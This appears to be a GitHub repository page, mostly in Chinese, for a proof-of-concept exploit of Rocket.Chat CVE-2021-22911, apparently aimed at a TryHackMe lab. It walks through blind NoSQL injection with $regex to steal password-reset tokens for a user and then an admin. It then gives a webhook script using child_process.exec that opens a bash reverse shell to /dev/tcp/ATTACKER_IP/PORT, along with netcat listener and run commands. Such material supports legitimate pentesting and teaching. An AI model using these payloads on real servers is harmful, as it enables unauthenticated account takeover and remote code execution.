roshanrajbanshi/rocketcat-cve-2021-22911-exploit

GitHub: roshanrajbanshi/rocketcat-cve-2021-22911-exploit

一个 Rocket.Chat CVE-2021-22911 的教育用途 NoSQL 注入到 RCE 的概念验证利用脚本。

Stars: 0 | Forks: 0

# Rocket.Chat CVE-2021-22911 漏洞利用 ## ⚠️ 免责声明 - 仅限教育用途 本漏洞利用程序**仅限授权渗透测试和教育用途**。未经授权访问计算机系统是非法的。作者不对任何误用负责。 ## 📋 概述 **CVE-2021-22911** 是 Rocket.Chat 中一个无需身份验证的 NoSQL 注入漏洞,可导致远程代码执行(RCE)。 - **CVSS 评分:** 9.8(严重) - **受影响版本:** Rocket.Chat < 3.12.7 - **攻击向量:** 网络 / 无需身份验证 - **影响:** 完全系统沦陷 ## 🎯 漏洞详情 本漏洞利用串联了三次 NoSQL 注入攻击: ### 阶段 1:低权限用户密码重置 - 发送低权限用户的忘记密码请求 - 使用盲 NoSQL 注入(`$regex` 操作符)逐字符提取密码重置令牌 - 将密码重置为已知值 ### 阶段 2:管理员密码重置 - 重复阶段 1,但目标为管理员账户 - 通过盲 NoSQL 注入提取管理员密码重置令牌 - 修改管理员密码 ### 阶段 3:远程代码执行 - 以被攻破的管理员账户身份进行身份验证 - 创建一个带有 JavaScript 载荷的 Webhook 集成 - 载荷使用 Node.js 的 `child_process.exec()` 来生成反向 Shell - 触发 Webhook 以执行反向 Shell ## 🛠️ 先决条件 ``` pip install requests ``` ## 🚀 使用方法 ### 1. 启动 Netcat 监听器(终端 1) ``` nc -lvnp 4444 ``` ### 2. 运行漏洞利用(终端 2) **手动输入 IP:** ``` python3 rocket_chat_exploit.py \ -u test@rocket.thm \ -a admin@rocket.thm \ -t http://chat.rocket.thm \ -i 10.9.0.1 \ -p 4444 Auto-detect tun0 IP (Recommended): python3 rocket_chat_exploit.py \ -u test@rocket.thm \ -a admin@rocket.thm \ -t http://chat.rocket.thm \ -i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \ -p 4444 **Arguments:** - `-u`: Low-privilege user email (must exist) - `-a`: Administrator email - `-t`: Target URL (Rocket.Chat instance) - `-i`: Your attacker IP (tun0) - `-p`: Netcat listener port ### Example Output ``` # ============================================================ Rocket.Chat CVE-2021-22911 — RCE 目标 : http://chat.rocket.thm Shell : 10.9.0.1:4444 [阶段 1] 低权限用户 → test@rocket.thm [+] 已发送密码重置邮件 → test@rocket.thm [*] 通过盲 NoSQL 注入提取重置令牌... [43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd [+] 令牌:aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd [+] 密码已更改为:P@$$w0rd!1234 [阶段 2] 管理员用户 → admin@rocket.thm [+] 已发送密码重置邮件 → admin@rocket.thm [*] 通过盲 NoSQL 注入提取重置令牌... [43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ [+] 令牌:XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ [+] 密码已更改为:P@$$w0rd!1234 [阶段 3] RCE [!] 现在开始你的监听器: nc -lvnp 4444 [*] 等待 nc 就绪... [+] 已以 admin@rocket.thm 身份验证 userid : userid123456789 token : token123456... [+] 已创建 Webhook http://chat.rocket.thm/hooks/hookid123/token456 [*] 触发反向 Shell... [+] 已发送触发 — 检查你的 nc 监听器 ``` ## 🔍 Technical Details ### NoSQL Injection Payload Format ```json { "message": { "msg": "method", "method": "getPasswordPolicy", "params": [ { "token": { "$regex": "^abc" } } ] } } ``` ### RCE 载荷(Webhook 脚本) ``` class Script { process_incoming_request({ request }) { const require = console.log.constructor('return process.mainModule.require')(); const { exec } = require('child_process'); exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"'); } } ``` ## 📚 参考资料 - 原始漏洞利用:[enox - Exploit-DB 50078, 50108](https://www.exploit-db.com/) - 漏洞分析:[SonarSource 博客](https://blog.sonarsource.com/nosql-injections-in-rocket-chat) - CVE 详情:[CVE-2021-22911](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22911) ## 📝 致谢 - **enox** — 原始漏洞利用开发 - **SonarSource** — 漏洞研究与分析 ## ⚖️ 法律声明 本工具仅供教育用途和授权安全测试使用。未经授权访问计算机系统违反《计算机欺诈和滥用法案》(CFAA)及类似国际法律。 **请负责任地使用。仅测试您拥有或已获得明确书面许可的系统。**
标签:$regex, child_process.exec, CISA项目, CVE-2021-22911, CVSS 9.8, GNU通用公共许可证, IP 地址批量处理, MITM代理, Node.js, NoSQL注入, RCE, Rocket.Chat, RuleLab, Webhook, 事件响应, 力导向图, 协议分析, 反向Shell, 威胁模拟, 密码重置, 攻击向量, 教育用途, 数据可视化, 未认证攻击, 权限提升, 盲注, 编程工具, 网络安全, 远程代码执行, 逆向工具, 隐私保护